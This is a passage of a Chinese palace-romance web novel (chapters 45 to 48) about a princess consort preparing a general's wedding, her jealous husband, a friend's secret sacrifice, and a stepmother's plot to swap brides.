“多谢母亲。”林清霜接过单子,湿了眼眶。 “这些年,辛苦母亲了。” 母女俩说了一些体己的话,王氏便离开了。 而另一边,张氏也开始为自己的女儿做打算,她想了一个完全的法子,直等到成婚那日,偷梁换柱。 她的女儿怎么能输给林清霜那个丑八怪。 等轿子抬进风展将军的府上,就算被人发现,那也没有转圜的余地了。 至于林清霜这个丑八怪,自己早就为她准备了一个好去处。 只需要等待婚期,一切便可妥当。 …… 除去给风展的府邸置办东西,温斩月还专门去为风展打造了一副玄铁铠甲,算是她以夜王妃名义送给风展的新婚礼物。 玄铁铠甲打造好后,便先送到了锦绣阁。 温斩月没处放,只能先挂在容妄的衣架上。 “王妃,这铁甲真好看。”春夜忍不住摸摸,“就是不知道结不结实,能不能挡住刀剑?” “你试试。” 温斩月扔给春夜一把刀。 春夜拿着刀,有些迟疑,“真砍啊?” “不然呢?”温斩月反问。 春夜用尽全身的力气朝着铁甲一顿乱砍,废了好些力气,铁甲上竟然连一点伤痕都没有。 春夜惊呆了。 这铁甲也太厉害了,刀枪不入,在战场上岂不就是保命的神器。 “王妃,这东西能不能扩大生产啊?要是天月将士每人都有这样一副铁甲,那在上了战场,岂不是战无不胜,所向披靡?” 跟在梨落身边久了,春夜多少也被影响了。 温斩月接过刀扔在一旁,蹙眉冷声道:“若是扩大生产,世间再无太平。” “怎么会呢?”春夜不解。 温斩月并没有解释。 梨落说过,天下分久必合合久必分,这是自然界的规律。 如果此时有个大杀器横空出世,各方势力必然都想得到,到时候自然就离天下大乱不远了。 若是天月将士人人都有玄铁铠甲,所向披靡的确是好的。 可是所向披靡之后呢? 抵御了外敌,没有牵制,谁又能笃定不会生出内乱呢? “不该你操心的事情,你少问。”温斩月换了一身干净利落的衣裳,“本宫要出去一趟,万一王爷问起,就说本宫去置办风展将军成亲要用的东西了。” “是,王妃。”春夜点点头。 温斩月没再说什么,从王府离开,直奔给风展定下的那间宅院而去。 良辰略懂一些宅院修缮,她留在这里不过两日的时间,已经将整个宅院都翻修了一遍。 温斩月下了马车后,看到焕然一新的宅院眼前一亮。 “奴婢参见王妃。”良辰走过来。 “王妃看看,可有需要有改动的地方?” “不用。”温斩月满意地点点头,“做得不错。” 她吩咐身后的人将置办的东西都抬进来,“把东西放到该放的地方去,然后看看还缺什么,列个单子给本宫。” “王妃对风将军还真是好。” “他是王爷的副将,值得本宫用心一些。”说着,温斩月又从怀里掏出一包银子,递给良辰。 “安排得仔细些,钱不够就去王府拿。” “是,王妃。”良辰拎着沉甸甸的钱袋,心中一暖。 温斩月在宅院里转了一圈,确定没有什么遗漏,便从宅院里开去了东六街的珍宝楼。 红袖添香认识温斩月,看到人来,急忙迎上去。 “老板娘怎么来了?” “老板娘?”温斩月蹙眉。 红袖点点头,“我们老板说的,她是东六街的老板,王妃就是东六街的老板娘。” “那你们老板呢?” “我们老板刚回来,就在楼上呢。” “你们忙吧,本宫自己去。”温斩月摆摆手,示意红袖添香去忙,自己提着裙摆走上二楼。 推开房门,温斩月看到梨落刚换了身衣裳。 “我就说谁进我的房间不敲门,原来是你。”梨落系好衣带,走了过来。 “有的时候我真怀疑你是只狗,我刚刚从外面打听消息回来,打算换一身衣服去王府见你,结果你自己就来了。” 梨落坐下,给自己倒了杯茶水。 “渴死我了。” “慢点喝,我不急。”温斩月也走进来坐下。 梨落灌完一大杯水,擦了擦嘴,“这两日我什么事情都没做,光顾着给你调查名单的事了,你呀,欠我的东西真的还不完。” “所以,调查出什么了?” “你真要听?”梨落神情严肃起来。 温斩月点点头。 梨落没再迟疑,将自己知道的一切和盘托出。 “这份涉案名单是江南灾银贪墨案的所有人员,苏相之所以捏在手里没有上报,是因为这些人都是太子殿下的拥护者。” “若是我父亲要你毁掉这份名单,只怕是党争一事,他站了太子殿下。” “阿月。”梨落抬眸。 “当今圣上尚且年轻力壮,太子殿下还未及冠,这些事情跟太子殿下关系并不大,所以我怀疑,贪墨一事是父亲的手笔,他只怕是生了东汉曹某之心,想要挟天子以令诸侯,做天月第一的摄政王。” “义父的野心就算是想要自己做那个位置,我都不会感到惊讶。” 温斩月垂眸,片刻,朝着梨落伸出手。 “那份名单呢?” “你给我的是备份的,我已经烧毁了。” “那便好。”温斩月点点头,片刻,她又抬起头,目光一动不动的盯着梨落。 梨落被盯得毛骨悚然,下意识的问道:“怎么了?这么看着我干什么?” “没什么,就是觉得奇怪。”温斩月手指交替敲打着桌面。 “我从未告诉过你的,给你的名单是备份的,你又是如何知道?”温斩月话语里加了重音。 “苏梨落,不是我要怀疑你,但你到底是谁?” 梨落的手一抖,眼神闪过几分心虚。 片刻,她迎着温斩月的目光,“阿月,不管我是谁,我都不会害你,你只要知道,我总有一天会告诉你我身上的所有秘密。” “每个人都有秘密,我并不好奇,可是……”温斩月顿了顿。 “你与我从小一起长大,十多年的情分,你了解我如同是我肚子里的蛔虫,可我对你,总有一种看不透的感觉。” “阿月,我……” “罢了。”温斩月摆摆手。 “总归你不会害我,隐瞒,欺骗,应当是你有苦衷,我会等着你跟我解释的那一天,梨落啊,千万不要让我失望。” 温斩月从珍宝阁离开后,梨落在窗前站立许久。 算一算时间,转折点应该也快要到了,她也没几日好活了。 回到桌前,梨落提笔落款。 “阿月亲启,等你看到这封信的时候,我或许已经死了……” 纸张太薄,眼泪太浓,梨落想说的话太多,但最后,这些未出口的话都变成了厚厚一沓废纸。 …… 夜王府,锦绣阁内。 容妄一进门便看到穿在衣架子上的玄铁铠甲。 “王爷,这是王妃专门为您定制的铠甲吗?”青澜围着衣架子转了好几圈。 “这铁甲好漂亮啊,穿在王爷身上肯定好看。” 容妄也没想到这两日都看不到他的阿月,原来是在偷偷地给他准备惊喜。 “王爷,属下可否试试?”青澜一脸兴奋。 “不行!”容妄想都没想便拒绝了。 “万一给本王试坏了可怎么办?” “铁甲哪有那么容易坏?”青澜不满,“要真如王爷说的这么脆皮,那上了战场,王爷岂不是死得最快?” 被青澜这么一说,容妄也觉得有些道理。 “那你姑且试试,但要是给本王试坏了,本王定会重罚你。” “王爷放心吧,我心里有数。”话音刚落,青澜便拔出刀,在玄铁铠甲上一顿乱砍,别说是弄坏了,连个印子都没留下。 “王爷……这铁甲也太厉害了吧。”青澜瞪大了眼。 容妄也没想到。 他家阿月总是会给他一些出乎意料的惊喜。 上次那把称之为枪的东西是,如今这副刀枪不入的玄铁铠甲也是。 就是不知道用枪打铁甲,会有什么效果? 容妄心里好奇,便也真的这么做了,他掏出逐月,朝着玄铁铠甲便扣动了扳机,子弹射出,铁甲瞬时塌下去一个洞。 “王爷,您手里这是什么?”青澜的眼睛比刚才瞪得更大了。 他跟在王爷身边这么久,还从来都没有见过这么厉害的东西。 刚才他用了那么大的力气,都没有让这副玄铁铠甲留下一点印子,可王爷手里的这个东西,居然直接打出了一个洞。 “这也是王妃赠与本王的,听她说,好像是叫枪,但本王给它重新起了个名字,叫逐月。” “王妃怎么什么都会。”青澜这个时候是真的羡慕嫉妒恨了。 “属下从前对王妃还有些许偏见呢,现在看来,王妃的确是个中翘楚,和王爷您是天造地设的绝配。” 青澜的话很大程度上取悦了容妄。 他笑笑,递出手里的逐月。 “试试?” “属下也可以吗?”青澜擦擦手,小心翼翼的接过逐月,对着玄铁铠甲又是一枪。 不偏不倚,刚和和容妄射出去的那一枪,对称。 “好厉害的武器!”青澜由衷地赞叹道:“要是能给天月将士每人一把的话,那以后战场上谁还能成为我们的对手。” “想多了,只此一把。”容妄拿过来,小心地放到怀里揣好。 “好吧。”青澜有些失落。 “王爷,这铁甲有了痕迹,会不会有影响啊。” “不会。”容妄摇头,“都是阿月送本王的礼物,本王都喜欢。” 春夜只是出去打个水的功夫,回来就看到了玄铁铠甲上的两个洞,她手里的水盆瞬间就掉到了地上。 “这,这是怎么回事啊?好好的铁甲怎么就有两个洞了?”春夜围着玄铁铠甲转了一圈,最后将目光看向容妄。 “奴婢参见王爷,请问王爷刚才可有看到,是谁毁了这副玄铁铠甲?” “是本王。”容妄诚实道。 “完了完了。”春夜欲哭无泪。 “王爷好端端动它做什么?这可是王妃精心准备的啊,现在坏了,奴婢该怎么和王妃交代?” “这有什么好交代的?”青澜不屑道。 “反正都是送给王爷的东西,心意到了,王爷开心比什么都重要,王妃不会生气的。” “谁说这铁甲是送王爷的?”春夜抹了一把眼泪。 “这玄铁铠甲是王妃准备给风展将军的新婚礼物,眼看着婚期逼近,重新准备肯定是来不及了。” “这是送风展的?”青澜声音高了八个度。 “你不会是搞错了吧,风展和王妃哪有什么交情,王爷都没有的东西,风展怎么敢要?我看你真是胡说八道!” “奴婢有没有胡说,问问王妃就知道了。”春夜硬气道。 跟在温斩月身边久了,春夜早就忘了夜王府的老大是谁,在她眼里,天王老子都不如她家王妃重要。 容妄此时的脸色已经阴沉得可以滴出水来了。 风展是他的副将,成亲自然要隆重一些,他也愿意把世上顶好的东西都送给风展,可玄铁铠甲他都没有,风展凭什么有? 他是希望阿月上点心,可这也太上心了。 容妄心里的醋坛子翻得猝不及防,他看着玄铁铠甲就来气,恨不得再多来两枪。 但想想,终究还是作罢。 “王妃去哪里了?”容妄沉声道。 春夜想起自家王妃吩咐的,便实话实说道:“王妃去置办风展将军成亲时要用的东西了,这几日王妃一直在忙这件事情。” “什么?”容妄怒从心起。 “她还记得自己的夫君是谁吗?” “王妃也是冲着王爷的面子,王爷莫要生气了。”青澜在一旁劝说道:“风展是王爷的副将,王妃自然格外看重一些。” “那有必要看的比本王这个夫君还要重吗?”容妄咬牙切齿道。 他心里酸酸涩涩的,恨不得现在就把某人抓回来,用铁链绑着锁在床上,除了他的身边,哪里都不能去。 “吩咐下去,王妃回来,便要她来找本王。” “耽误一刻,本王要了你们的命!” 第46章 分明是两情相悦 温斩月回来的时候,一眼便看到春夜在锦绣阁门前着急地来回转悠。 那模样比热锅上的蚂蚁还要有过之而无不及。 “怎么了?发生什么事了?” “王妃您总算是回来了。”春夜快步走过来,“今日您走了以后,奴婢一个没注意,王爷就看到了衣架上的玄铁铠甲,他毁了玄铁铠甲不说,还发了好大一通火,说是您回来即刻就去见他,否则,王爷他要杀了奴婢们。” “这是又在抽哪门子风?” 温斩月走进锦绣阁,看到玄铁铠甲上的洞,眉头紧皱。 “这材料难得,坏了又要重新修补。”从衣架子上把玄铁铠甲取下来,温斩月交给春夜,“明日你将东西拿去玄冰阁,他们知道该怎么修补。” “是。”春夜接过铁甲。 “那王爷那边王妃您是去还是不去?” “不去。”温斩月转过身,“他毁了本宫的东西,不来负荆请罪就算了,还要以你们的性命来要挟本宫,真当本宫是被吓大的吗?” 青澜一直盯着锦绣阁的。 看到自家王妃回来,盯梢了一会儿,见锦绣阁没有动静,这才回到书房复命。 “王爷,属下看您是等不来王妃了。”青澜小心翼翼道:“那春夜一回来就把事情告诉王妃了,但王妃似乎并不在意。” “本王真是把她娇惯得无法无天了。”容妄怒拍桌子。 “这次她不跟本王低头,本王绝不会再理她。” “王爷您真的能做到吗?”青澜表示很怀疑。 容妄抬眸,“怎么?没有她的这些年,本王难道不是活得好好的吗?” “是是是,王爷是天底下最最厉害之人,根本不可能为区区一个女人折腰的嘛。”青澜话刚说完,就被自家王爷一个眼神瞪了过来。 他急忙识相地闭上嘴,从书房里退了出来。 房内的烛火摇曳,不听话的燃烧了半夜。 锦绣阁那边迟迟都没有动静,容妄的耐心也在一点一点地耗尽,快要天亮时,他终于沉不住气,要前去质问。 可偏偏在此时,宫内来了人,召他进宫。 容妄军功赫赫,是天月唯一一个听召不听宣的臣,久居夜王府,这还是第一次这么着急地召他入宫。 “青澜,去查查,是不是边疆出了问题。” “属下这就去。”青澜离开。 容妄换上朝服,朝着锦绣阁的方向看了一眼,便匆匆离府了。 温斩月这一觉睡得十分好。 她醒来时,春夜已经将玄铁铠甲送去修补。 从床上下来,温斩月梳洗完,坐在桌前用在早膳。 美景从外面走进来,“王妃,林大小姐求见。” “让她进来吧。”温斩月擦了擦嘴,吩咐人将早膳撤下去。 她来到榻上坐下,亲自动手煮了一壶茶。 林清霜从外面走进来,见到温斩月,快步走过来跪下,“清霜叩谢王妃,多谢王妃救命之恩。” “何出此言?”温斩月蹙眉。 林清霜眼含热泪,缓缓地摘下脸上的面纱。 虽不是倾国倾城,却也是小家碧玉,十分温婉好看。 温斩月用手抬着林清霜的下巴,仔细地瞧了瞧,“原本想着还要过段时间,没想到你身上的毒好的比本宫预想的要快,不过药还是接着吃,稳定稳定,这张脸就不会再出问题了。” “清霜知道。” “行了,起来吧。”温斩月示意林清霜起身,她倒了一杯茶水,推到林清霜的面前。 “尝尝本宫煮茶的手艺。” “王妃的手艺自然是没的说的。”林清霜心里还是有些激动,接过茶杯的手都在抖。 她今早洗脸时,看到自己的模样都被吓了一跳。 这二十多年来,她一直都饱受非议,做梦都没有想到自己也会有变好看的一天。 风展娶她是为了权衡。 但她想嫁给风展,是因为喜欢。 如果可以漂漂亮亮地出嫁,那她这辈子也就没有什么遗憾了。 “清霜能有今日多亏了王妃,以后王妃若是有用得着清霜的地方,清霜一定万死不辞。” “别了。”温斩月摇摇头。 “本宫没有什么需要你鞍前马后的地方,往后嫁给风展,你过好自己的日子,比什么都好。” “还是很感谢王妃。” 一提起风展,林清霜的脸上有了两朵可疑的红晕。 温斩月心领意会,忍不住打趣道:“和风展将军相处得如何?” “还行。”林清霜垂眸,“自从上我家提亲后,他约我出去过几次,每次都会带我去我想去的地方,看我想看的风景,吃我想吃的美食,虽然是个粗人,但心思十分细致,我提过一嘴的事情,他记得比谁都清楚。” “其实我也知道他娶我不是为了真心,可这样相处下来,我很难不对他心动。” “虽然我很抱歉当初在王妃您的婚宴上闹事,但若是没有这么一出戏,我与风展将军也不会相识。” “我更加不会知道,原来这世上真有男人是不看脸的。” 风展此人如何,温斩月并不了解。 但能跟在容妄身边这么久,人品自然是能过关的。 “看来你对这桩婚事,十分满意。” “嗯嗯。”林清霜害羞地低下头,“再有几日就是婚期了,今晚过后,我们就不能再见面,所以他约了我一起去东六街。” “听说梨落姑娘在那里开了个不夜城,很多东西都十分新鲜,我想以最美的样子去见他,所以特来问问王妃,如今我的脸也好得差不多了,是否可以见光?” “最好不要。”温斩月摇头。 “你再耐心等等,等到成亲之日,让他亲自掀起盖头,岂不是更加惊喜?” “王妃说的是。”林清霜眼中难掩喜色。 “我太开心了,一时竟忘了,那就听王妃的,等到新婚之夜时,再让他瞧瞧我如今的模样。”说着,林清霜又将面纱带上。 林清霜晚上有约,温斩月自然也就没有多留她。 研制了一些新的解药给林清霜备着,随后便让美景将人送出府去了。 林清霜走后,温斩月把给风展准备的东西列了一个单子,便想去找容妄商议,却被告知容妄一大早便入了宫,到现在还没回来。 温斩月心头有一种很不好的预感,她换上衣服,前去珍宝楼找梨落。 却被告知,梨落也不在。 “她去哪儿了,你们可知道?” “不知道。”红袖摇摇头,“老板出去的时候只是招呼了一声,并没有说出去哪里了?不过她穿得十分正式,手里还拿着东六街的经营册子,大概是去见什么重要的人了吧。” “知道了。”温斩月提裙上了二楼。 她心中隐隐不安,总感觉要发生什么,但又不知道是哪里不对劲。 只能等梨落回来,问问清楚。 …… 上官府,花园凉亭里。 上官白屏退左右,吊儿郎当地给梨落倒了一杯茶。 “我的财神爷这是又有什么生意和我谈吗?” “可不是嘛,专门给你送钱来了。”梨落将东六街的册子和特权书还有一些重要的资料,全都推到了上官白的面前。 上官白疑惑地打开,看完这些,眉头皱得更加紧了。 “梨落姑娘这是何意?” “东六街送你。” “你疯了吧。”上官白将面前的盒子往前一推。 “梨落姑娘就莫要拿我寻开心了,我能跟着梨落姑娘吃点残羹剩饭挺好的,不用想这出来试探我。” “不是试探,是真的给你。”梨落将盒子重新推回上官白的面前。 “你若是不信的话,我现在就可以去做交接的相关事宜。” “不是,你玩真的啊?”上官白惊呆了。 他做生意这么久,还从来都没有见过梨落这样的人物,虽然跟着温斩月大多精神都不太正常。 但这也太不正常了。 “梨落姑娘,不瞒你说,我是个生意人,自然不相信天底下有这样白捡的好事,东六街是姑娘一手建立起来,如今才刚刚走上正轨,这个时候要把东六街送人,恕我实在难以相信。” “也不是白送。” “我就知道,肯定有条件。”上官白一副早就料到了的模样。 “说吧,要我为你做什么。” 梨落抬眸,目光坚定的看着上官白,一字一句道:“我要你无论发生何事,都坚定地站在阿月身边,以后你做生意的每一笔钱,都要分给阿月一半,就算天塌下来,你也不能背叛她。” 说这些的时候,梨落手臂疼得她快要死掉了。 可是她极力隐忍,在上官白的面前表现得跟没事人一样。 上官白已经准备接受梨落狮子大开口了,没想到居然是这么一个……奇怪的条件。 “梨落姑娘,夜王妃身边有你,有容妄,哪里需要小爷我操心?再说了,夜王妃的本事哪里还用得着旁人。” “这你别管。”梨落忍着疼。 “只要你答应我,东六街,和我的那些配方全都归你。” “这是个赔本的买卖,梨落姑娘,你真的要跟我做这笔交易吗?”上官白实在是不解。 至少现在从表面上来看,他占了极大的便宜。 要不是梨落脑子坏掉了,那就是小爷他长得风流倜傥,引得梨落这位美人也失了分寸。 “赔本什么的我都不在意。”梨落垂眸。 “我只要阿月逆天改命。” 从上官府离开,梨落疼出了一身汗,可她还不能休息,还有别的事情要让等着她来安排。 梨落走后,上官白一个人在凉亭里坐了许久。 他一直以为温斩月那样的人,向来乖张狠戾,喜欢用武力统治一切,跟着她的人都是被逼的。 但看到今日梨落的所作所为。 他不得不重新定义一下,容妄的这位王妃了。 …… 温斩月在珍宝楼等了一天,梨落还是不见踪影。 她直觉梨落出事了。 从珍宝楼离开,温斩月想去家里碰碰运气,却在东六街上,看到了闲逛的林清霜和风展。 两人亲密无间,倒真的有点新婚夫妻的样子了。 温斩月只是瞧了一眼并没有打扰,她坐上马车,朝着家里的方向而去。 东六街上,林清霜戴着面纱,眼中藏着爱意,听着风展讲述边关趣事,已经惊险的战役,他们是如何击退敌人,又是如何反败为胜的。 “将军真的好厉害。”林清霜由衷地夸奖。 “这不算什么。”风展不好意思地摸摸头,“其实我们军中最厉害的是王爷,好多次都是他带着我们杀出重围,大家都说他是杀神,但我们都信奉他如神明,有他在,我们便会安心许多。” “夜王我是不了解,但能得夜王妃喜欢的男人,肯定是不差的。” “你这么欣赏夜王妃?” “嗯,和将军崇拜王爷一样。”林清霜手里举着糖葫芦。 “将军也知道,我生得这样丑,京都城里,不管是公子还是小姐,对我都是没有什么好脸色的。” “可我毁了王妃的婚宴,她也没有罚我,反而帮助我良多,这样善良的人,我还是第一次遇到。” “将军。”林清霜瞪着亮闪闪的眼睛轻声道:“对普通人有善意并不难,难的是对我这种人有善意,毕竟,从小到大,我感受到的全是羞辱和排挤,只有王妃,她愿意真心帮我。“ 这番话林清霜用很轻柔的语气说出来。 但却在风展的心上落下了浓墨重彩的一笔。 他伸出手,轻轻拍拍林清霜的头顶。 “以后有我在,定不会再让你过得如此辛苦。” “我信将军。”林清霜眉眼弯弯地笑道,趁机将手里的糖葫芦塞到了风展的口中,“将军尝尝,酸不酸?” “娘子吃过的都是甜的。” “油嘴滑舌。”林清霜羞红了脸,“我还不是你的娘子呢。” “迟早的事。”风展嚼着糖葫芦,满脸幸福。 两人的互动被不远处出来闲逛的林轻盈和苏皖书瞧了个一清二楚。 苏皖书觉得有些诧异,她可是听轻盈说这林清霜是使了一些下作的手段,才让风展同意迎娶她的。 可她远远瞧着,这两人分明就是两情相悦。 “轻盈,我看风将军好像很喜欢林清霜啊。”苏皖书将心中疑惑问了出来。 第47章 带走我 苏皖书只是想知道其中缘由,但在林轻盈的耳朵里却像是一个质问,她狠狠道:“怎么可能?林清霜那个丑八怪正常男人都不可能会喜欢她,你难道忘了之前京都城里的流言了?” “丑人多作怪,她就是用了上不了台面的手段,逼得风展将军必须娶她,我爹还为此发了好大一通火呢。” “你呀就是太单纯了,才会被骗,谁知道这不是风展将军为了应付差事,毕竟林清霜和夜王妃关系不错,看在夜王殿下的面子上,风展将军装也要装得像一点的。” 林轻盈的话让苏皖书频频皱眉。 她强忍着不适,打断了林轻盈的高谈阔论。 “别提这些了,今日你我出门是来逛街的,何要必因为旁人伤了和气。” “我就是有些气不过。”林轻盈跺了跺脚。 “她那狐媚样子跟她娘真是如出一辙!” “够了。”苏皖书冷下脸来,“她长得那样丑,怎么用狐媚手段,况且在众目睽睽之下,她身为尚书府的小姐,半点分寸没有吗?” “她要是有分寸,又岂会做出当众勾引风展将军的事来。” “那你要如何?”苏皖书反问,“轻盈,你以前不是这样的,就算对林清霜颇有微词,也只是嘲讽几句,如今怎么一口一个下作,这是一个官家小姐该说出来的话吗?” “我……”林轻盈一时语塞。 今时不同往日。 以前林清霜在她面前只有吃瘪的份,她虽然是庶女,但处处压林清霜这个嫡女一头。 可现在呢? 林清霜过得这般滋润,她心里怎么能舒服? “今日就先到这里吧。”苏皖书逛街的心情被打搅,懒得再去跟林轻盈掰扯。 赏花宴的事她做得不好,挨了父亲好一顿骂。 本来想着出来散散心,没想到又与林轻盈发生争执,此时心里更是烦躁的压不下去火。 眼瞅着苏皖书是真的生气了,林轻盈这才慌起来。 她身边的好友也就苏皖书的地位高一些,她还要靠着苏皖书在京都贵女圈子里混呢。 得罪了苏皖书,她没有好果子吃。 “是我错了,是我错了还不行吗?你就别生气了好不好?”林轻盈追上苏皖书,满脸的讨好。 以往这个时候,只要林轻盈再发发力,卖卖惨,苏皖书肯定就心软了。 今日也不知道是怎么了,或许心中本就烦躁,苏皖书竟然破天荒的没有再搭理林轻盈,直接上了马车,头也不回地走了。 苏皖书一走,林轻盈脸上的表情彻底地绷不住了。 她看向街上的林清霜和风展,怒火燃烧了理智,想都没想,便直接朝着两人冲了过去。 “林清霜你这个贱人!都怪你!” 林轻盈出现的猝不及防,对着林清霜就是狠狠一巴掌。 “你这个丑八怪,怎么敢当街勾引风展将军!” 林轻盈用了很大的力气,巴掌落到林清霜的脸上,也扯掉了林清霜脸上的面纱。 林轻盈是故意的。 她就是想要林清霜当众出丑,要风展看清楚,自己要娶的人是个怎样丑陋的女子。 可面纱摘下,那张脸却跟她想的大不相同。 “这,怎么会?你的脸……”林轻盈瞪大了眼,似乎不敢相信眼前的这一幕。 风展也惊呆了。 “霜儿,你……” 林清霜急忙捡起面纱重新给自己戴上。 “我不是故意要骗你的,我是想等到新婚之夜你掀起盖头的时候,给你一个惊喜,我没想到……” “没事。”风展安抚语无伦次的林清霜。 他将人护在身后,目光不善地盯着前来捣乱的林轻盈。 “林二小姐是想尝尝我手中刀的滋味吗?”风展语气阴狠,“我手里可杀过不少的人,不差林二小姐一个。” “你疯了吗?”林轻盈嘴硬道。 “也不知道她用了什么法子才变了脸,但我知道,肯定是妖术,你要跟这个妖女在一起,以后怎么死的都不知道呢。” “这就不劳林二小姐费心了。”风展毫不客气道。 “以后还请林二小姐管好自己的事,否则,今日这一巴掌,本将军迟早会替夫人讨回来。” 从小到大,林清霜从来都没有被人这么护着过。 上一个给她撑腰的人还是夜王妃。 “我没事的。”林清霜眼里湿润,“将军莫要生气了。” “怎么会没事?”风展对着林清霜时,眼神温柔,语调都不自觉的软了下来。 “刚才那一巴掌那么响,肯定痛死了。” “真的没事。”林清霜看了一眼气到跳脚的林轻盈。 “将军,我们去别处吧,别让旁人扫了兴致。” “都听你的。”风展瞧都没瞧林轻盈一眼,牵着林清霜的手就朝着别处走去。 林轻盈本想着让林清霜在大庭广众之下出丑,没想到却让风展越发心疼的林清霜,她想着替嫁一事,心中越发委屈。 若是风展心中已经有了林清霜这个丑八怪,就算她嫁过去,也无法俘获风展的心。 出了这档子事,林轻盈哪里还有心思逛街。 回到府上后,发了好大一通脾气,手底下的丫鬟们劝不住,只能把张氏找来。 这两日张氏也头疼呢,一进屋看到自家女儿把东西摔得满地都是,本来就没好的头疼病又加重了。 “小祖宗,你又在闹什么?”张氏看着无处落脚的地面,神情不悦。 “不是和苏小姐去逛街了吗?怎么一个人回来了?” “别提了!” 林轻盈把刚才发生在东六街的事情全都说了一遍,越说越觉得自己心中委屈。 但这些话落在张氏的耳朵里,却越发的心惊。 “你是说林清霜变好看了?” “可不是嘛。”林轻盈手里捏着帕子,“也不知道她使用了什么妖术,竟让她的那张脸变得漂亮起来,就连风展将军都被她迷得神魂颠倒,若是以后我嫁过去,肯定还是要受气的,娘,你快想想办法,我可不想嫁过去,夫君心里还装着旁人。” “你也是个蠢货。”张氏气不打一处来。 “我早就说过小不忍则乱大谋,你真应该好好收收你的性子。” “我本来是要她当众出丑的,谁知道会发生这样的事。”林轻盈委屈巴巴地掉着眼泪,“娘,你得帮帮我,不然女儿就不活了!” 张氏本来就头疼得要命,见宝贝女儿这么闹,心中更烦了。 “够了,别吵了!”张氏怒吼一声。 “这些年,为了栽培你,我将全部的心思都用在了你一个人的身上,琴棋书画,赏花品茶,林清霜这个丑八怪有的,你一样不差,可你看看你,身上哪里还有半点大家闺秀的样子,反倒是林清霜,举手投足比你更像一个千金小姐!” “以前,你还能仗着比她好看而处处压她一头。” “但如今她唯一的弱点没了,以后你在她的面前,只会被她压制得死死的,再也抬不起头来!” “你还要我帮你?我问问你,我还要如何帮你?我就差把这条命给你了,是你自己不学好,现在后悔也晚了!” 张氏从来都没有对女儿说过这么多的狠话。 林轻盈懵了。 她眼泪巴巴地盯着自己的娘亲,想哭又不敢哭出声,委屈巴巴,可怜兮兮。 张氏心疼了,她缓和了情绪,耐着性子道:“你别怪娘亲凶你,如今你已经长大了,是时候为娘亲分担一些了,若以后还是这样使小性子,将来就算你嫁给风展将军,你也没有什么好日子过。” “娘不可能陪你一辈子的,你要学会为自己盘算。”张氏摸摸女儿的头。 “听话,明日先去备上一份厚礼给苏小姐赔罪,她是苏相的千金,能与你一起做闺中密友,已经是十分看得起你了,只要紧紧将她抓在手里,京都城里的贵女圈,定然有你的一席之地。” “至于其他的,你就不用管了,娘亲自会为你安排好一切。” 从房间离开,张氏眼中的狠辣再一次浮现。 她本来是想留着林清霜母女俩的狗命,反正只要她的轻盈嫁给风展将军,一切成为定局,天王老子来了也逆转不了。 可现在林清霜变得好看了,风展将军又对林清霜这个贱人情有独钟。 她只能想想法子,以绝后患。 …… 温斩月回到宅院,只有谢洲白一个人。 她问过谢洲白,梨落已经两日没有回府了。 “东六街的生意正好,梨落姑娘忙一点也是正常的,王妃不必担心。”谢洲白说着,动手收拾自己的衣物。 他的伤已经好得差不多了,是时候离开。 “本宫去东六街寻过她,她不在。” “那可能是去忙别的事情了吧。”谢洲白系好包袱,“梨落姑娘那么大的一个人了,做事情肯定有自己的打算,说不定过两天忙完了,梨落姑娘会自己去找王妃呢。” “你要走?”温斩月看着谢洲白整理好包袱。 “这里住得不舒心?” “挺好的。”谢洲白背着包袱。 “但这里毕竟不是我的家,叨扰多日已经是在下失礼了,若是继续住下去,在下和那些蛀虫又有何不同?” 温斩月当时救谢洲白并不为别的。 如今看到谢洲白要走,她也没有过多挽留。 “月公子的恩德在下不敢忘,将来若是王妃有用得着在下的,在下一定义不容辞。”说完,谢洲白点点头,背着包袱离开了宅院。 谢洲白一走,原本就空旷的地方,更加的没什么人气了。 温斩月转悠了一圈,直接翻墙回到了王府。 春夜锦绣阁的门前来回晃悠,看到自家王妃回来,急忙迎上去。 “王妃你可算是回来了,王爷在里面等着您呢。” “知道了。”温斩月略过春夜,直接迈入锦绣阁。 本以为容妄还在为了玄铁铠甲的事情生气,可温斩月刚一进去,就被容妄紧紧地搂在怀里。 “发生什么事了?”温斩月轻声开口。 容妄松开温斩月,眼底柔情浓到化不开。 “本王要离开一段日子。” “什么时候走?” “明日。” “这么快?”温斩月皱起眉头,“王爷要去做什么?” 容妄紧抿着唇,没有回答。 温斩月目光紧盯,“再过几日就是风展将军的婚期了,王爷此时要走,是连他的婚礼都不参加了吗?” “你不是替本王准备了贺礼吗?”容妄在温斩月的额头落下一吻。 “本王会早点回来的。” “所以,是秘密任务吗?”温斩月还是忍不住问出了口。 “圣上没事不会召你入宫的,你在宫里待了这么久,肯定是有事发生。” “是。”容妄点头。 “但本王不能告诉你。” “那带上臣妾。”温斩月抓紧容妄的衣领。 “不管王爷去哪里,都带着臣妾。” “不行。”容妄挣脱开来,“你要留在京都,替本王照看王府,还有风展的婚礼,你也要参加。” “那王爷带青澜吗?” “带。”容妄毫不犹豫道:“青澜留在府上无用,本王会带走他。” 温斩月长呼一口气,“既如此,那王爷来找臣妾还有何事?” “本王想在临行之前见见你,另外,就是生息粉不够本王接下来……” “臣妾知道了。”温斩月打断。 “王爷放心,生息粉明日一早备好,一月够吗?” 容妄摇摇头。 “三月?”温斩月冷声:“要这么久?” “此次任务艰难,绝非一朝一夕能成,三月已是极限。”容妄牵起温斩月的手,放在自己的心口。 “你放心,本王定会早点回来。” “臣妾知道了。”温斩月低身行礼。 “生息粉的原料没有了,臣妾亲自去买。” “最后一晚,你也要与本王分开吗?”容妄知道他家阿月这是在生气,可是他要走,也是无可奈何的事情。 若不是边疆出了事,他…… 容妄心里怎么想的温斩月不想管,她因为梨落的事,心里已经慌乱一片,此时容妄又要离开京都,所有不好的预感都朝着她砸过来。 她能感觉得出来,有些事情变了。 但如何变的?变成什么样了?她一概不知。 这种失控的感觉,才是真正让她心中不舒服的源头。 第48章 跟踪 温斩月没有回答容妄的话。 她执意离开,容妄要也没有再阻拦。 临行前一夜,他本来也有很多事情要去安排处理。 温斩月买了生息粉的原料,连夜将生息粉赶制出来,第二日,她甚至都没有见容妄,而是让春夜将东西交给青澜。 青澜知道自家王妃置气,但事发突然,他也不好说什么。 “王爷,王妃虽然生气了,可属下瞧着这生息粉的分量能用足足四个月呢,王妃这是怕王爷回不来,特意多做了一个月的。” “她是心疼本王的。”容妄看了一眼生息粉。 “走吧,早去早回。” 容妄和青澜策马离开,人刚走,春夜便去锦绣阁汇报了。 “王妃,王爷走了。” “本宫知道了。”温斩月端坐榻前,算着时间。 “把良辰美景唤来。” 